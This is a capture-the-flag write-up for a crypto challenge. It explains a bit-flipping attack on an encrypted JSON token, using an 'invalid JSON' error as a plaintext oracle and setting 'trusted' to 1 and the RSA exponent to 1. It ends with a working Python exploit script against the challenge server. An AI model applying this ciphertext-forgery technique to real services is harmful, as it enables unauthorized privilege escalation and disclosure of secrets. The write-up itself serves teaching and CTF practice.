The IV and the key (linked to our username) are enough for the server to compute a stream of bytes, by blocks of 16 bytes. This stream is then XORed to the plaintext to get the ciphertext. The decryption is pretty much identical: the ciphertext is XORed with the stream to get the plaintext.

Thus, an interesting property is that flipping a bit in the ciphertext at a certain position will flip the bit at the same position in the plaintext, and conversely.

We can imagine the goal of the challenge is to be seen as "trustworthy", and whether we are trusted or not may be hardcoded inside the plaintext.

If we send over the ciphertext but altering, for instance, the first byte, we will a get a **invalid JSON** message. Interesting! At this point we may guess that the plaintext is a JSON and that a certain key in it specifies whether we are trusted or not. But how can we know its structure?

The idea was, for a given byte, to brute-force it until we got the **invalid JSON** message, which would mean either the plaintext was changed into a `"` (double quote) or a `\` (backslash). Indeed, having a JSON such as `{"key":"value"}` changed into `{"k"y":"value"}` or `{"k\y":"value"}` would make it invalid. From this point, we can recover the value of the plaintext's byte at this position because `p = p' XOR c XOR c'`, where p is the actual value of the plaintext, c the original ciphertext and c' the modified ciphertext (the byte we have brute-forced).

This way we can retrieve strings, be them keys or values. On the other hand, when we bit-flip something else in the JSON such as curly brackets, double quotes or colons, it is very likely it breaks it. With that logic in mind and some automation, we can recover some parts of the plaintext:

```
{"trusted":?,"n":?????????...???????????,"e":?????}
```

If we assume the value of *trusted* is initially `0` and we try to change it to `1`, we get a new message: "Thank you, I can rely on you. Here is the top secret message, encrypted using the RSA key you sent: \[...]".

Great, we are trusted. Now we have pretty much two possibilities:

* find a way to retrieve the values of the integers in the JSON. We spent a lot of time on this and couldn't find a method. It might be possible with a decent amount of requests and some statistical thought process, but all our efforts are shattered because the value of `n` changes every single time.
* try and tweak the JSON to make the server send us something we know how to deal with.

Indeed, if we assume the server really uses the RSA key we actually sent, we could change either `n` or `e` so that it becomes easier for us. Changing `n` is complicated because it requires knowing parts of it, which we don't. However, `e` has few digits, and we can even guess its value is 65537 since it's the most common value in RSA for the exponent.

From now we can, for example, use our formula to change `65537` to `1____` (`_` being spaces) so that the resulting JSON is still valid and `e` is set to 1. The server will then send back to us `C = M**e mod n = M mod n = M`.

![Message](/files/-Lv6CrmAMuhYxb-8vhnj)

Convert it to ASCII:

![Flag](/files/-Lv6CrmC2tz3NFDP5ZPb)

Enjoy!

### Script

```python
import socket
from base64 import b64encode as b64e
from base64 import b64decode as b64d

xor = lambda s, t: b''.join(bytes([x ^ y]) for x, y in zip(s, t))

def replace(cipher, index, old, new):
  c = b64d(cipher)
  return b64e(
    c[:index] +
    xor(xor(old, new), c[index:index + len(new)]) +
    c[index + len(new):]
  )

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto-agents.ctfz.one', 9543))

s.recv(4096)
s.send(b'1')

name = s.recv(4096).split(b' name "')[1].split(b'"')[0]
cipher = s.recv(4096).split(b'\n\n')[0]

s.send(b'2')
s.recv(4096)

s.send(name)
s.recv(4096)

# {"trusted":0,"n":123123...123123,"e":65537}
cipher = replace(cipher, 11, b'0', b'1')
cipher = replace(cipher, len(b64d(cipher)) - 6, b'65537', b'1    ')

s.send(cipher)
msg = s.recv(4096)

print(msg)
print(s.recv(4096))

s.close()
```


